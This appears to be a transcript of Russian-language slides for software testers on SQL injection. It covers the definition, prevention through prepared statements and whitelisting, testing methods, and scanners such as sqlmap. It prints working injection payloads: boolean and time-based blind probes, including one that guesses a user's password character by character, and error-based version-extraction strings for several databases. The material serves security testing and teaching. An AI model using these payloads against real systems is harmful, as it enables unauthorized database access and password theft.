Sql инъекции в тестировании
Transcript of Sql инъекции в тестировании
Definition of SQL injection
Внедрение SQL кода - один из
распространенных способов взлома сайтов
и программ, работающих с базами данных
Экранирование символов — это необходимая конвертация
строк для правильного составлении структурированных
текстов, таких как SQL-запрос.
Внедрение SQL, в зависимости от типа системы
управления базами данных и условий внедрения,
может дать возможность атакующему выполнить
произвольный запрос в базу данных, получить
возможность чтения и/или записи файлов и
выполнения произвольных команд на атакуемом
сервере.
Профилактика / теория
НЕ использовать
динамических
запросов к базе
НЕ использовать пользовательских данных
в запросах
Профилактика / Практика
1. Не помещать в БД данные без обработки. Это можно сделать либо с помощью подготовленных выражений, либо обрабатывая параметры вручную.
2. Не помещать в запрос управляющие структуры и идентификаторы, введенные пользователем. А заранее прописывать в скрипте список возможных вариантов, и выбирать только из них.
Тестирование
- Подстановка кавычек с запросом и
закомментированным окончанием (/*,--)
- Присоединение запросов оператором UNION
- Проверка на логические уязвимости поисковых
структур (Оператор LIKE - символы ‘&’ и ‘_’)
Классическая blind SQL injection - запрашиваемые
данные не отображаются. Aтакующий манипулирует
логикой работы приложения (true/false).
http://newspaper.com/items.php?id=2
SELECT title, description, body
FROM items
WHERE ID =2
Обнаружение уязвимости
http://newspaper.com/items.php?id=2 and ‘1’=‘1’--
SELECT title, description, body FROM items
WHERE ID =2 and 1=1;
http://newspaper.com/items.php?id=2 and ‘1’=‘2’--
SELECT title, description, body FROM items
WHERE ID =2 and 1=2;
Тестирование
1. Проверки обработки истинных и ложных запросов
2. Проверка подстановкой известных данных
(пользователей, таблиц)
Double blind SQL injection - запрашиваемые данные
не отображаются. Aтакующий манипулирует логикой
работы приложения (true/false) и временными
задержками.
MySQL:
site.com/index.php?id=1 UNION SELECT
IF(SUBSTRING(user_password,1,1) =
CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5
seconds')),null) FROM users WHERE user_id = 1;
Функции временной задержки для других типов БД
MS SQL:
'WAIT FOR DELAY '0:0:10
PostgreSQL:
pg_sleep()
Тестирование
1. Проверка отсутствия временных задержек при
выполнении истинных и ложных запросов
2. Подбор приемлемого времени отклика
3. Проверка подстановкой известных данных
(пользователей, таблиц)
Error based injection
Вывод информации в сообщениях об
ошибках.
Выявление - использование готовых техник
для соответствующих типов баз данных
Вывод версии базы данных в сообщении об ошибках
MySQL: site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM
(SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID
(VERSION (), FLOOR(RAND(0)*2), 64)) --
При наличии уязвимости приложение вернет ошибку:
Duplicate entry ‘5.0.45’ for key 1
Запросы для других баз данных
● PostgreSQL:
site.com/index.php?id=1 and(1)=cast(version() as numeric)--● MSSQL:
site.com/index.php?id=1 and(1)=convert(int,@@version)--● Sybase:
site.com/index.php?id=1 and(1)=convert(int,@@version)--● Oracle:
site.com/index.php?id=1 and(1)=(select
upper(XMLType(chr(60)||chr(58)||(select
replace(banner,chr(58)) from sys.v_$version where
rownum=1)||chr(62))) from dual)--
Aвтоматизация тестирования
● sqlmap
● WITOOL
● WebCruiser
● Mozilla tool - SQL Inject me
● Netsparker
Заключение
● Проверки приложения на уязвимости повысят качество
тестирования
● Тесты быстрые и простые
● Можно использовать инструмент для автоматизированного
тестирования
Полезные ссылки
List of the best SQL scanners and Tools http://www.ma-
no.org/en/content/index_a-list-of-best-free-sql-injection-scanners-and-
tools_1649.php
SQL injection.
http://habrahabr.ru/post/87872/
http://habrahabr.ru/post/130826/
https://www.owasp.org/index.php/Blind_SQL_Injection
https://www.youtube.com/watch?v=eE-W2_M_mMU&feature=youtu.be -
SQL инъекции. Защита и нападение
http://sqadays.com/ru/talk/24027 - Слепые SQL иньекции (sqadays#16)